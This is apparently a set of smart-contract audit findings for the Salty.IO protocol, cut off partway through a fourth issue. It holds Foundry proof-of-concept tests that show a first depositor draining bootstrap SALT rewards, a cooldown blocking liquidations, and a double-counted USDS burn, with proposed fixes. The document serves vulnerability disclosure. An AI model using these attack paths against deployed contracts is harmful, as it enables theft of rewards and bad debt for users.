Salty.IO - israeladelaja's results

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/main/src/staking/StakingRewards.sol#L88-L89

Vulnerability details

Impact

Users can earn SALT by providing liquidity to Salty.IO pools. However, the first liquidity provider can earn a significant amount of SALT Rewards. This is because virtual rewards are not added for them if they are the first liquidity provider in that pool, so when SALT rewards have been added and they deposit liquidity after this (being the first depositor), they are able to receive all the SALT rewards instantly.

Proof of Concept

This is the StakingRewards._increaseUserShare() internal function which is called when a user adds liquidity to a Salty.IO pool:

function _increaseUserShare( address wallet, bytes32 poolID, uint256 increaseShareAmount, bool useCooldown ) internal
  {
  require( poolsConfig.isWhitelisted( poolID ), "Invalid pool" );
  require( increaseShareAmount != 0, "Cannot increase zero share" );

  UserShareInfo storage user = _userShareInfo[wallet][poolID];

  if ( useCooldown )
  if ( msg.sender != address(exchangeConfig.dao()) ) // DAO doesn't use the cooldown
    {
    require( block.timestamp >= user.cooldownExpiration, "Must wait for the cooldown to expire" );

    // Update the cooldown expiration for future transactions
    user.cooldownExpiration = block.timestamp + stakingConfig.modificationCooldown();
    }

  uint256 existingTotalShares = totalShares[poolID];

  // Determine the amount of virtualRewards to add based on the current ratio of rewards/shares.
  // The ratio of virtualRewards/increaseShareAmount is the same as totalRewards/totalShares for the pool.
  // The virtual rewards will be deducted later when calculating the user's owed rewards.
      if ( existingTotalShares != 0 ) // prevent / 0
        {
    // Round up in favor of the protocol.
    uint256 virtualRewardsToAdd = Math.ceilDiv( totalRewards[poolID] * increaseShareAmount, existingTotalShares );

    user.virtualRewards += uint128(virtualRewardsToAdd);
        totalRewards[poolID] += uint128(virtualRewardsToAdd);
        }

  // Update the deposit balances
  user.userShare += uint128(increaseShareAmount);
  totalShares[poolID] = existingTotalShares + increaseShareAmount;

  emit UserShareIncreased(wallet, poolID, increaseShareAmount);
  }

As can be seen, the first shareholder does not have virtual rewards added to their user data, so when SALT rewards have been added before them, the first shareholder is able to claim all these SALT rewards instantly.

Clone the github repo and run forge build then paste the following test file in /src/scenario_tests/ and run forge test --mt test_userCanGetSignificantRewardsFromAllPoolsPOC:

<details> <summary>POC Test File</summary>

// SPDX-License-Identifier: UNLICENSED
pragma solidity =0.8.22;

import "../dev/Deployment.sol";
import "forge-std/Test.sol";
import "forge-std/console.sol";
import "../rewards/RewardsConfig.sol";
import "../staking/StakingConfig.sol";
import "../price_feed/tests/ForcedPriceFeed.sol";

contract MockAccessManager {
    function walletHasAccess(address wallet) external pure returns (bool) {
        return wallet == wallet;
    }
}

contract MockInitialDistribution {
    address public bootstrapBallot;

    constructor(address _bootstrapBallot) {
        bootstrapBallot = _bootstrapBallot;
    }
}

contract UserCanGetSignificantRewardsFromAllPoolsPOC is Test {
    using SafeERC20 for ISalt;
    using SafeERC20 for IERC20;

    IExchangeConfig public exchangeConfig;
    IBootstrapBallot public bootstrapBallot;
    IAirdrop public airdrop;
    IStaking public staking;
    IDAO public dao;
    ILiquidizer public liquidizer;

    IPoolsConfig public poolsConfig;
    IStakingConfig public stakingConfig;
    IRewardsConfig public rewardsConfig;
    IStableConfig public stableConfig;
    ISaltRewards public saltRewards;
    IPools public pools;
    IInitialDistribution public initialDistribution;

    IRewardsEmitter public stakingRewardsEmitter;
    IRewardsEmitter public liquidityRewardsEmitter;
    IEmissions public emissions;

    ISalt public salt;
    IERC20 public dai;
    USDS public usds;
    IERC20 public wbtc;
    IERC20 public weth;

    CollateralAndLiquidity public collateralAndLiquidity;
    MockAccessManager public accessManager;

    IForcedPriceFeed public priceFeed1;
    IForcedPriceFeed public priceFeed2;
    IForcedPriceFeed public priceFeed3;

    IPriceAggregator public priceAggregator;
    IUpkeep public upkeep;
    IDAOConfig public daoConfig;
    bytes aliceVotingSignature =
        hex"291f777bcf554105b4067f14d2bb3da27f778af49fe2f008e718328a91cae2f81eceb0b4ed1d65c546bf0603c6c35567a69c8cb371cf4880a2964df8f6d1c0601c";
    bytes bobVotingSignature =
        hex"a08a0612b60d9c911d357664de578cd8e17c5f0ee10b82b829e35a999fa3f5e11a33e5f3d06c6b2b6f3ef3066cee3b47285a57cfc85f2c3e166f831a285aebcd1c";
    address alice = address(0x1111);
    address bob = address(0x2222);
    uint256 public constant MILLION_ETHER = 1000000 ether;

    function setUp() public {
        vm.startPrank(address(1));

        priceFeed1 = new ForcedPriceFeed(30000 ether, 3000 ether);
        priceFeed2 = new ForcedPriceFeed(30100 ether, 3050 ether);
        priceFeed3 = new ForcedPriceFeed(30500 ether, 3010 ether);

        priceAggregator = new PriceAggregator();
        priceAggregator.setInitialFeeds(
            IPriceFeed(address(priceFeed1)),
            IPriceFeed(address(priceFeed2)),
            IPriceFeed(address(priceFeed3))
        );

        salt = new Salt();
        dai = new TestERC20("DAI", 18);
        weth = new TestERC20("WETH", 18);
        wbtc = new TestERC20("WBTC", 8);
        usds = new USDS();

        rewardsConfig = new RewardsConfig();
        poolsConfig = new PoolsConfig();
        stakingConfig = new StakingConfig();
        stableConfig = new StableConfig();
        daoConfig = new DAOConfig();

        exchangeConfig = new ExchangeConfig(
            salt,
            wbtc,
            weth,
            dai,
            usds,
            IManagedWallet(address(0))
        );

        liquidizer = new Liquidizer(exchangeConfig, poolsConfig);

        accessManager = new MockAccessManager();
        exchangeConfig.setAccessManager(IAccessManager(address(accessManager)));


        pools = new Pools(exchangeConfig, poolsConfig);

        collateralAndLiquidity = new CollateralAndLiquidity(
            pools,
            exchangeConfig,
            poolsConfig,
            stakingConfig,
            stableConfig,
            priceAggregator,
            liquidizer
        );

        liquidityRewardsEmitter = new RewardsEmitter(
            collateralAndLiquidity,
            exchangeConfig,
            poolsConfig,
            rewardsConfig,
            true
        );


        staking = new Staking(exchangeConfig, poolsConfig, stakingConfig);

        stakingRewardsEmitter = new RewardsEmitter(
            staking,
            exchangeConfig,
            poolsConfig,
            rewardsConfig,
            false
        );

        saltRewards = new SaltRewards(
            stakingRewardsEmitter,
            liquidityRewardsEmitter,
            exchangeConfig,
            rewardsConfig
        );

        airdrop = new Airdrop(exchangeConfig, staking);

        bootstrapBallot = new BootstrapBallot(
            exchangeConfig,
            airdrop,
            60 * 60 * 24 * 5
        );
        initialDistribution = new InitialDistribution(
            salt,
            poolsConfig,
            IEmissions(makeAddr("emissions")),
            bootstrapBallot,
            dao,
            VestingWallet(payable(makeAddr("daoVestingWallet"))),
            VestingWallet(payable(makeAddr("teamVestingWallet"))),
            airdrop,
            saltRewards,
            ICollateralAndLiquidity(address(0))
        );

        poolsConfig.whitelistPool(pools, salt, wbtc);
        poolsConfig.whitelistPool(pools, salt, weth);
        poolsConfig.whitelistPool(pools, salt, usds);
        poolsConfig.whitelistPool(pools, wbtc, usds);
        poolsConfig.whitelistPool(pools, weth, usds);
        poolsConfig.whitelistPool(pools, wbtc, dai);
        poolsConfig.whitelistPool(pools, weth, dai);
        poolsConfig.whitelistPool(pools, usds, dai);
        poolsConfig.whitelistPool(pools, wbtc, weth);

        usds.setCollateralAndLiquidity(collateralAndLiquidity);

        dao = new DAO(
            pools,
            IProposals(address(0)),
            exchangeConfig,
            poolsConfig,
            IStakingConfig(address(0)),
            IRewardsConfig(address(0)),
            IStableConfig(address(0)),
            IDAOConfig(address(0)),
            IPriceAggregator(address(0)),
            liquidityRewardsEmitter,
            ICollateralAndLiquidity(address(collateralAndLiquidity))
        );

        pools.setContracts(dao, collateralAndLiquidity);

        liquidizer.setContracts(collateralAndLiquidity, pools, dao);

        vm.stopPrank();

        vm.startPrank(address(1));
        upkeep = new Upkeep(
            pools,
            exchangeConfig,
            poolsConfig,
            daoConfig,
            stableConfig,
            priceAggregator,
            saltRewards,
            collateralAndLiquidity,
            emissions,
            dao
        );
        salt.transfer(address(initialDistribution), 100 * MILLION_ETHER);
        exchangeConfig.setContracts(
            dao,
            upkeep,
            initialDistribution,
            airdrop,
            VestingWallet(payable(address(0))),
            VestingWallet(payable(address(0)))
        );
        vm.stopPrank();

        bytes memory sig1 = abi.encodePacked(aliceVotingSignature);
        vm.startPrank(alice);
        vm.chainId(11155111);
        bootstrapBallot.vote(true, sig1);
        vm.stopPrank();

        bytes memory sig2 = abi.encodePacked(bobVotingSignature);
        vm.startPrank(bob);
        vm.chainId(11155111);
        bootstrapBallot.vote(true, sig2);
        vm.stopPrank();

        // Increase current blocktime to be greater than completionTimestamp
        vm.warp(bootstrapBallot.completionTimestamp() + 1);

        // Call finalizeBallot()
        bootstrapBallot.finalizeBallot();

        assert(bootstrapBallot.ballotFinalized() == true);

    }

    function test_userCanGetSignificantRewardsFromAllPoolsPOC() external {
        upkeep.performUpkeep();

        vm.startPrank(address(1));
        wbtc.transfer(alice, 404);
        weth.transfer(alice, 404);
        dai.transfer(alice, 404);
        vm.stopPrank();

        vm.prank(address(collateralAndLiquidity));
        usds.mintTo(alice, 404);

        vm.startPrank(alice);

        wbtc.approve(address(collateralAndLiquidity), 404);
        weth.approve(address(collateralAndLiquidity), 404);
        usds.approve(address(collateralAndLiquidity), 404);
        dai.approve(address(collateralAndLiquidity), 404);

        collateralAndLiquidity.depositLiquidityAndIncreaseShare(
            wbtc,
            usds,
            101,
            101,
            0,
            block.timestamp,
            false
        );

        collateralAndLiquidity.depositLiquidityAndIncreaseShare(
            weth,
            usds,
            101,
            101,
            0,
            block.timestamp,
            false
        );

        collateralAndLiquidity.depositLiquidityAndIncreaseShare(
            wbtc,
            dai,
            101,
            101,
            0,
            block.timestamp,
            false
        );

        collateralAndLiquidity.depositLiquidityAndIncreaseShare(
            weth,
            dai,
            101,
            101,
            0,
            block.timestamp,
            false
        );

        collateralAndLiquidity.depositLiquidityAndIncreaseShare(
            usds,
            dai,
            101,
            101,
            0,
            block.timestamp,
            false
        );

        collateralAndLiquidity.depositCollateralAndIncreaseShare(
            101,
            101,
            0,
            block.timestamp,
            false
        );
        vm.stopPrank();

        console.log(salt.balanceOf(alice));
        vm.startPrank(alice);
        collateralAndLiquidity.claimAllRewards(poolsConfig.whitelistedPools());
        vm.stopPrank();
        
        // About 33333.3333333 SALT has been claimed by Alice
        assert(salt.balanceOf(address(alice)) == 33333333333333333333330);
    }
}

</details>

As can be seen, once the initial liquidity bootstrapping SALT rewards have been distributed and Upkeep.performUpkeep() has been called, the first liquidity provider is able to claim a significant amount of SALT rewards from each pool and withdraw immediately.

Tools Used

Manual Review.

Recommended Mitigation Steps

A potential mitigation would be having the protocol themselves adding a small amount of liquidity (could just be dust amounts) in each pool so that a significant amount of SALT rewards don't instantly go to the first liquidity provider of a pool.

Assessed type

Timing

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/main/src/staking/StakingRewards.sol#L104-#L111 https://github.com/code-423n4/2024-01-salty/blob/main/src/stable/CollateralAndLiquidity.sol#L154

Vulnerability details

Impact

When a user's collateral ratio goes bellow 110% percent, they are subject to liquidations through the CollateralAndLiquidity.liquidateUser() function. When a user is liquidated, their user share for the collateral pool is decreased using the StakingRewards._decreaseUserShare() (inherited by CollateralAndLiquidity) making them ineligible for future SALT rewards. However, this function contains a cooldown mechanism which only allows deposits and withdrawals between 1 hour intervals. When a user deposits collateral and borrows and the price of their collateral drops significantly in a short amount of time this cooldown will still be active, disallowing the liquidation of their collateral and producing bad debt for the protocol.

Proof of Concept

This is part of the StakingRewards._decreaseUserShare() function which is inherited by CollateralAndLiquidity:

if ( useCooldown )
if ( msg.sender != address(exchangeConfig.dao()) ) // DAO doesn't use the cooldown
  {
  require( block.timestamp >= user.cooldownExpiration, "Must wait for the cooldown to expire" );

  // Update the cooldown expiration for future transactions
  user.cooldownExpiration = block.timestamp + stakingConfig.modificationCooldown();
  }

and this is part of the CollateralAndLiquidity.liquidateUser() function which is called when someone wants to liquidate a position:

// First, make sure that the user's collateral ratio is below the required level
require( canUserBeLiquidated(wallet), "User cannot be liquidated" );

uint256 userCollateralAmount = userShareForPool( wallet, collateralPoolID );

// Withdraw the liquidated collateral from the liquidity pool.
// The liquidity is owned by this contract so when it is withdrawn it will be reclaimed by this contract.
(uint256 reclaimedWBTC, uint256 reclaimedWETH) = pools.removeLiquidity(wbtc, weth, userCollateralAmount, 0, 0, totalShares[collateralPoolID] );

// Decrease the user's share of collateral as it has been liquidated and they no longer have it.
_decreaseUserShare( wallet, collateralPoolID, userCollateralAmount, true );

As can be seen, because the fourth parameter of StakingRewards._decreaseUserShare() is set to true in the CollateralAndLiquidity.liquidateUser() function, the collateral can only be withdrawn an hour after the initial deposit, meaning a sudden price drop would stop collateral from being withdrawn and stop the position from being liquidated.

Clone the github repo and run forge build then paste the following test file in /src/scenario_tests/ and run forge test --mt test_liquidationCooldownPOC:

<details> <summary>POC Test File</summary>

// SPDX-License-Identifier: UNLICENSED
pragma solidity =0.8.22;

import "../dev/Deployment.sol";
import "forge-std/Test.sol";
import "forge-std/console.sol";
import "../rewards/RewardsConfig.sol";
import "../staking/StakingConfig.sol";
import "../price_feed/tests/ForcedPriceFeed.sol";

contract MockAccessManager {
    function walletHasAccess(address wallet) external pure returns (bool) {
        return wallet == wallet;
    }
}

contract MockInitialDistribution {
    address public bootstrapBallot;

    constructor(address _bootstrapBallot) {
        bootstrapBallot = _bootstrapBallot;
    }
}

contract LiquidationCooldownPOC is Test {
    using SafeERC20 for ISalt;
    using SafeERC20 for IERC20;

    IExchangeConfig public exchangeConfig;
    IBootstrapBallot public bootstrapBallot;
    IAirdrop public airdrop;
    IStaking public staking;
    IDAO public dao;
    ILiquidizer public liquidizer;

    IPoolsConfig public poolsConfig;
    IStakingConfig public stakingConfig;
    IRewardsConfig public rewardsConfig;
    IStableConfig public stableConfig;
    ISaltRewards public saltRewards;
    IPools public pools;
    MockInitialDistribution public initialDistribution;

    IRewardsEmitter public stakingRewardsEmitter;
    IRewardsEmitter public liquidityRewardsEmitter;
    IEmissions public emissions;

    ISalt public salt;
    IERC20 public dai;
    USDS public usds;
    IERC20 public wbtc;
    IERC20 public weth;

    CollateralAndLiquidity public collateralAndLiquidity;
    MockAccessManager public accessManager;

    IForcedPriceFeed public priceFeed1;
    IForcedPriceFeed public priceFeed2;
    IForcedPriceFeed public priceFeed3;

    IPriceAggregator public priceAggregator;

    function setUp() public {
        vm.startPrank(address(1));

        priceFeed1 = new ForcedPriceFeed(30000 ether, 3000 ether);
        priceFeed2 = new ForcedPriceFeed(30100 ether, 3050 ether);
        priceFeed3 = new ForcedPriceFeed(30500 ether, 3010 ether);

        priceAggregator = new PriceAggregator();
        priceAggregator.setInitialFeeds(
            IPriceFeed(address(priceFeed1)),
            IPriceFeed(address(priceFeed2)),
            IPriceFeed(address(priceFeed3))
        );

        salt = new Salt();
        dai = new TestERC20("DAI", 18);
        weth = new TestERC20("WETH", 18);
        wbtc = new TestERC20("WBTC", 8);
        usds = new USDS();

        rewardsConfig = new RewardsConfig();
        poolsConfig = new PoolsConfig();
        stakingConfig = new StakingConfig();
        stableConfig = new StableConfig();

        exchangeConfig = new ExchangeConfig(
            salt,
            wbtc,
            weth,
            dai,
            usds,
            IManagedWallet(address(0))
        );

        stakingRewardsEmitter = new RewardsEmitter(
            IStakingRewards(makeAddr("stakingRewards")),
            exchangeConfig,
            poolsConfig,
            IRewardsConfig(address(0)),
            false
        );

        liquidityRewardsEmitter = new RewardsEmitter(
            IStakingRewards(makeAddr("stakingRewards")),
            exchangeConfig,
            poolsConfig,
            IRewardsConfig(address(0)),
            true
        );

        pools = new Pools(exchangeConfig, poolsConfig);

        saltRewards = new SaltRewards(
            stakingRewardsEmitter,
            liquidityRewardsEmitter,
            exchangeConfig,
            rewardsConfig
        );

        initialDistribution = new MockInitialDistribution(
            makeAddr("bootstrapBallot")
        );

        exchangeConfig.setContracts(
            dao,
            IUpkeep(address(0)),
            IInitialDistribution(address(initialDistribution)),
            IAirdrop(address(0)),
            VestingWallet(payable(address(0))),
            VestingWallet(payable(address(0)))
        );

        poolsConfig.whitelistPool(pools, salt, wbtc);
        poolsConfig.whitelistPool(pools, salt, weth);
        poolsConfig.whitelistPool(pools, salt, usds);
        poolsConfig.whitelistPool(pools, wbtc, usds);
        poolsConfig.whitelistPool(pools, weth, usds);
        poolsConfig.whitelistPool(pools, wbtc, dai);
        poolsConfig.whitelistPool(pools, weth, dai);
        poolsConfig.whitelistPool(pools, usds, dai);
        poolsConfig.whitelistPool(pools, wbtc, weth);

        liquidizer = new Liquidizer(exchangeConfig, poolsConfig);

        accessManager = new MockAccessManager();
        exchangeConfig.setAccessManager(IAccessManager(address(accessManager)));

        collateralAndLiquidity = new CollateralAndLiquidity(
            pools,
            exchangeConfig,
            poolsConfig,
            stakingConfig,
            stableConfig,
            priceAggregator,
            liquidizer
        );

        usds.setCollateralAndLiquidity(collateralAndLiquidity);

        dao = new DAO(
            pools,
            IProposals(address(0)),
            exchangeConfig,
            poolsConfig,
            IStakingConfig(address(0)),
            IRewardsConfig(address(0)),
            IStableConfig(address(0)),
            IDAOConfig(address(0)),
            IPriceAggregator(address(0)),
            liquidityRewardsEmitter,
            ICollateralAndLiquidity(address(collateralAndLiquidity))
        );

        pools.setContracts(dao, collateralAndLiquidity);

        liquidizer.setContracts(collateralAndLiquidity, pools, dao);

        vm.stopPrank();

        vm.prank(makeAddr("bootstrapBallot"));
        pools.startExchangeApproved();

        vm.startPrank(address(1));
        uint256 WBTC_ADD_LIQUIDITY_AMOUNT = 1 * 10 ** 8;
        uint256 WETH_ADD_LIQUIDITY_AMOUNT = 100 * 10 ** 18;

        wbtc.approve(
            address(collateralAndLiquidity),
            WBTC_ADD_LIQUIDITY_AMOUNT
        );
        weth.approve(
            address(collateralAndLiquidity),
            WETH_ADD_LIQUIDITY_AMOUNT
        );

        collateralAndLiquidity.depositCollateralAndIncreaseShare(
            WBTC_ADD_LIQUIDITY_AMOUNT,
            WETH_ADD_LIQUIDITY_AMOUNT,
            0,
            block.timestamp,
            false
        );
        vm.stopPrank();
    }

    function test_liquidationCooldownPOC() external {
        address alice = makeAddr("alice");
        uint256 WBTC_ADD_LIQUIDITY_AMOUNT = 1 * 10 ** 8;
        uint256 WETH_ADD_LIQUIDITY_AMOUNT = 100 * 10 ** 18;

        vm.startPrank(address(1));
        wbtc.safeTransfer(alice, WBTC_ADD_LIQUIDITY_AMOUNT);
        weth.safeTransfer(alice, WETH_ADD_LIQUIDITY_AMOUNT);
        vm.stopPrank();

        vm.startPrank(alice);
        wbtc.approve(
            address(collateralAndLiquidity),
            WBTC_ADD_LIQUIDITY_AMOUNT
        );
        weth.approve(
            address(collateralAndLiquidity),
            WETH_ADD_LIQUIDITY_AMOUNT
        );
        vm.stopPrank();

        // Adding liquidity to WBTC/WETH for USDS collateral
        vm.prank(alice);
        (
            uint256 addedAmountWBTC1,
            uint256 addedAmountWETH1,

        ) = collateralAndLiquidity.depositCollateralAndIncreaseShare(
                WBTC_ADD_LIQUIDITY_AMOUNT,
                WETH_ADD_LIQUIDITY_AMOUNT,
                0,
                block.timestamp,
                false
            );

        // Borrowing USDS
        vm.startPrank(alice);
        collateralAndLiquidity.borrowUSDS(
            collateralAndLiquidity.maxBorrowableUSDS(alice)
        );
        vm.stopPrank();

        // There is a sudden drop of the collateral price
        vm.startPrank(address(1));
        priceFeed1.setBTCPrice(30000 ether / 2);
        priceFeed2.setBTCPrice(30100 ether / 2);
        priceFeed3.setBTCPrice(30500 ether / 2);

        priceFeed1.setETHPrice(3000 ether / 2);
        priceFeed2.setETHPrice(3050 ether / 2);
        priceFeed3.setETHPrice(3010 ether / 2);

        vm.stopPrank();

        // Liquidations can't happen because of the cooldown
        vm.prank(address(makeAddr("liquidator")));
        vm.expectRevert("Must wait for the cooldown to expire");
        collateralAndLiquidity.liquidateUser(alice);
    }
}

</details>

As can be seen, because of the default one hour cooldown, liquidations will not be able to happen in the event of a sudden price drop producing bad debt for the protocol.

Tools Used

Manual Review.

Recommended Mitigation Steps

A potential mitigation would be disabling cooldowns for withdrawing collateral from liquidations as the value lost of their collateral and the liquidation fee will most likely outweigh the potential profit of SALT rewards within the cooldown period.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/main/src/stable/CollateralAndLiquidity.sol#L115-L135

Vulnerability details

Impact

When a user repays their USDS debt by calling CollateralAndLiquidity.repayUSDS() the protocol sends the USDS to the USDS contract itself and burns it there. However, in the same function call it also adds that amount that needs to be burnt to the Liquidizer.usdsThatShouldBeBurned state variable using Liquidizer.incrementBurnableUSDS() this burns more USDS than necessary and because of this the seized collateral from liquidations goes towards burning USDS that has already been burnt.

Proof of Concept

This is the CollateralAndLiquidity.repayUSDS() function:

function repayUSDS( uint256 amountRepaid ) external nonReentrant
  {
  require( userShareForPool( msg.sender, collateralPoolID ) > 0, "User does not have any collateral" );
  require( amountRepaid <= usdsBorrowedByUsers[msg.sender], "Cannot repay more than the borrowed amount" );
  require( amountRepaid > 0, "Cannot repay zero amount" );

  // Decrease the borrowed amount for the user
  usdsBorrowedByUsers[msg.sender] -= amountRepaid;

  // Have the user send the USDS to the USDS contract so that it can later be burned (on USDS.performUpkeep)
  usds.safeTransferFrom(msg.sender, address(usds), amountRepaid);

  // Have USDS remember that the USDS should be burned
  liquidizer.incrementBurnableUSDS( amountRepaid );

  // Check if the user no longer has any borrowed USDS
  if ( usdsBorrowedByUsers[msg.sender] == 0 )
    _walletsWithBorrowedUSDS.remove(msg.sender);

  emit RepaidUSDS(msg.sender, amountRepaid);
  }

As can be seen after transferring USDS to the USDS contract to be burnt, Liquidizer.incrementBurnableUSDS() is called which increases the amount of USDS that needs to be burnt to cover the debt of liquidated users.

Clone the github repo and run forge build then paste the following test file in /src/scenario_tests/ and run forge test --mt test_wrongReceiverUSDSPOC:

<details> <summary>POC Test File</summary>

// SPDX-License-Identifier: UNLICENSED
pragma solidity =0.8.22;

import "../dev/Deployment.sol";
import "forge-std/Test.sol";
import "forge-std/console.sol";
import "../rewards/RewardsConfig.sol";
import "../staking/StakingConfig.sol";
import "../price_feed/tests/ForcedPriceFeed.sol";

contract MockAccessManager {
    function walletHasAccess(address wallet) external pure returns (bool) {
        return wallet == wallet;
    }
}

contract MockInitialDistribution {

    address public bootstrapBallot;

    constructor(address _bootstrapBallot) {
        bootstrapBallot = _bootstrapBallot;
    }
}

contract TestOnlyOneYesVoteNeededInit is Test {
    using SafeERC20 for ISalt;
    using SafeERC20 for IERC20;

    IExchangeConfig public exchangeConfig;
    IBootstrapBallot public bootstrapBallot;
    IAirdrop public airdrop;
    IStaking public staking;
    IDAO public dao;
    ILiquidizer public liquidizer;

    IPoolsConfig public poolsConfig;
    IStakingConfig public stakingConfig;
    IRewardsConfig public rewardsConfig;
    IStableConfig public stableConfig;
    ISaltRewards public saltRewards;
    IPools public pools;
    MockInitialDistribution public initialDistribution;

    IRewardsEmitter public stakingRewardsEmitter;
    IRewardsEmitter public liquidityRewardsEmitter;
    IEmissions public emissions;

    ISalt public salt;
    IERC20 public dai;
    USDS public usds;
    IERC20 public wbtc;
    IERC20 public weth;

    CollateralAndLiquidity public collateralAndLiquidity;
    MockAccessManager public accessManager;

    IForcedPriceFeed public priceFeed1;
    IForcedPriceFeed public priceFeed2;
    IForcedPriceFeed public priceFeed3;

    IPriceAggregator public priceAggregator;

    function setUp() public {
        vm.startPrank(address(1));

        priceFeed1 = new ForcedPriceFeed(30000 ether, 3000 ether);
        priceFeed2 = new ForcedPriceFeed(30100 ether, 3050 ether);
        priceFeed3 = new ForcedPriceFeed(30500 ether, 3010 ether);

        priceAggregator = new PriceAggregator();
        priceAggregator.setInitialFeeds(
            IPriceFeed(address(priceFeed1)),
            IPriceFeed(address(priceFeed2)),
            IPriceFeed(address(priceFeed3))
        );

        salt = new Salt();
        dai = new TestERC20("DAI", 18);
        weth = new TestERC20("WETH", 18);
        wbtc = new TestERC20("WBTC", 8);
        usds = new USDS();

        rewardsConfig = new RewardsConfig();
        poolsConfig = new PoolsConfig();
        stakingConfig = new StakingConfig();
        stableConfig = new StableConfig();

        exchangeConfig = new ExchangeConfig(
            salt,
            wbtc,
            weth,
            dai,
            usds,
            IManagedWallet(address(0))
        );

        stakingRewardsEmitter = new RewardsEmitter(
            IStakingRewards(makeAddr("stakingRewards")),
            exchangeConfig,
            poolsConfig,
            IRewardsConfig(address(0)),
            false
        );

        liquidityRewardsEmitter = new RewardsEmitter(
            IStakingRewards(makeAddr("stakingRewards")),
            exchangeConfig,
            poolsConfig,
            IRewardsConfig(address(0)),
            true
        );

        pools = new Pools(exchangeConfig, poolsConfig);

        saltRewards = new SaltRewards(
            stakingRewardsEmitter,
            liquidityRewardsEmitter,
            exchangeConfig,
            rewardsConfig
        );

        initialDistribution = new MockInitialDistribution(makeAddr("bootstrapBallot"));

        exchangeConfig.setContracts(
            dao,
            IUpkeep(address(0)),
            IInitialDistribution(address(initialDistribution)),
            IAirdrop(address(0)),
            VestingWallet(payable(address(0))),
            VestingWallet(payable(address(0)))
        );

        poolsConfig.whitelistPool(pools, salt, wbtc);
        poolsConfig.whitelistPool(pools, salt, weth);
        poolsConfig.whitelistPool(pools, salt, usds);
        poolsConfig.whitelistPool(pools, wbtc, usds);
        poolsConfig.whitelistPool(pools, weth, usds);
        poolsConfig.whitelistPool(pools, wbtc, dai);
        poolsConfig.whitelistPool(pools, weth, dai);
        poolsConfig.whitelistPool(pools, usds, dai);
        poolsConfig.whitelistPool(pools, wbtc, weth);

        liquidizer = new Liquidizer(exchangeConfig, poolsConfig);


        accessManager = new MockAccessManager();
        exchangeConfig.setAccessManager(IAccessManager(address(accessManager)));

        collateralAndLiquidity = new CollateralAndLiquidity(
            pools,
            exchangeConfig,
            poolsConfig,
            stakingConfig,
            stableConfig,
            priceAggregator,
            liquidizer
        );

        usds.setCollateralAndLiquidity(collateralAndLiquidity);

        dao = new DAO(
            pools,
            IProposals(address(0)),
            exchangeConfig,
            poolsConfig,
            IStakingConfig(address(0)),
            IRewardsConfig(address(0)),
            IStableConfig(address(0)),
            IDAOConfig(address(0)),
            IPriceAggregator(address(0)),
            liquidityRewardsEmitter,
            ICollateralAndLiquidity(address(collateralAndLiquidity))
        );

        pools.setContracts(
            dao,
            collateralAndLiquidity
        );

        liquidizer.setContracts(collateralAndLiquidity, pools, dao);

        vm.stopPrank();

        vm.prank(makeAddr("bootstrapBallot"));
        pools.startExchangeApproved();
    }

    function test_wrongReceiverUSDSPOC() external {
        address alice = makeAddr("alice");
        uint256 WBTC_ADD_LIQUIDITY_AMOUNT = 1 * 10 ** 8;
        uint256 WETH_ADD_LIQUIDITY_AMOUNT = 100 * 10 ** 18;

        vm.startPrank(address(1));
        wbtc.safeTransfer(alice, WBTC_ADD_LIQUIDITY_AMOUNT);
        weth.safeTransfer(alice, WETH_ADD_LIQUIDITY_AMOUNT);
        vm.stopPrank();

        vm.startPrank(alice);
        wbtc.approve(address(collateralAndLiquidity), WBTC_ADD_LIQUIDITY_AMOUNT);
        weth.approve(address(collateralAndLiquidity), WETH_ADD_LIQUIDITY_AMOUNT);
        vm.stopPrank();

        vm.prank(alice);
        (uint256 addedAmountWBTC, uint256 addedAmountWETH, ) = collateralAndLiquidity.depositCollateralAndIncreaseShare(
            WBTC_ADD_LIQUIDITY_AMOUNT,
            WETH_ADD_LIQUIDITY_AMOUNT,
            0,
            block.timestamp,
            false
        );
        console.log(addedAmountWBTC);
        console.log(addedAmountWETH);

        vm.prank(alice);
        collateralAndLiquidity.borrowUSDS(100 * 10 ** 18);

        vm.startPrank(alice);
        usds.approve(address(collateralAndLiquidity), 100 * 10 ** 18);
        collateralAndLiquidity.repayUSDS(100 * 10 ** 18);
        vm.stopPrank();

        // USDS is already burnt
        assert(liquidizer.usdsThatShouldBeBurned() == 100 * 10 ** 18);

    }
}

</details>

As can be seen, a repaid user's USDS is added to the amount that the Liquidizer contract has to burn which means that seized collateral is going towards burning USDS that has already been burnt.

Tools Used

Manual Review.

Recommended Mitigation Steps

In the CollateralAndLiquidity.repayUSDS() function:

     function repayUSDS( uint256 amountRepaid ) external nonReentrant
		{
		require( userShareForPool( msg.sender, collateralPoolID ) > 0, "User does not have any collateral" );
		require( amountRepaid <= usdsBorrowedByUsers[msg.sender], "Cannot repay more than the borrowed amount" );
		require( amountRepaid > 0, "Cannot repay zero amount" );

		// Decrease the borrowed amount for the user
		usdsBorrowedByUsers[msg.sender] -= amountRepaid;

		// Have the user send the USDS to the USDS contract so that it can later be burned (on USDS.performUpkeep)
		usds.safeTransferFrom(msg.sender, address(usds), amountRepaid);

-		// Have USDS remember that the USDS should be burned
-		liquidizer.incrementBurnableUSDS( amountRepaid );

		// Check if the user no longer has any borrowed USDS
		if ( usdsBorrowedByUsers[msg.sender] == 0 )
			_walletsWithBorrowedUSDS.remove(msg.sender);

		emit RepaidUSDS(msg.sender, amountRepaid);
		}

this way unnecessary USDS does not get burnt.

Assessed type

Token-Transfer

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/main/src/pools/Pools.sol#L187 https://github.com/code-423n4/2024-01-salty/blob/main/src/stable/CollateralAndLiquidity.sol#L151

Vulnerability details

Impact

When a user's collateral ratio goes below 110%, they are subject to liquidations through CollateralAndLiquidity.liquidateUser(). During the liquidation process, the user's seized collateral is removed, withdrawing the underlying tokens ultimately used to burn USDS. However, the function used for removing liquidity Pools.removeLiquidity() has a require statement which reverts when the liquidity being removed causes dust amounts to be left in the given pool's reserves. This means that when a user is the only collateral holder then they cannot be liquidated because liquidation would cause the pool's reserves to go below dust amounts, which can produce bad debt for the protocol.

Proof of Concept

This is part of the CollateralAndLiquidity.liquidateUser() function:

require( canUserBeLiquidated(wallet), "User cannot be liquidated" );

uint256 userCollateralAmount = userShareForPool( wallet, collateralPoolID );

// Withdraw the liquidated collateral from the liquidity pool.
// The liquidity is owned by this contract so when it is withdrawn it will be reclaimed by this contract.
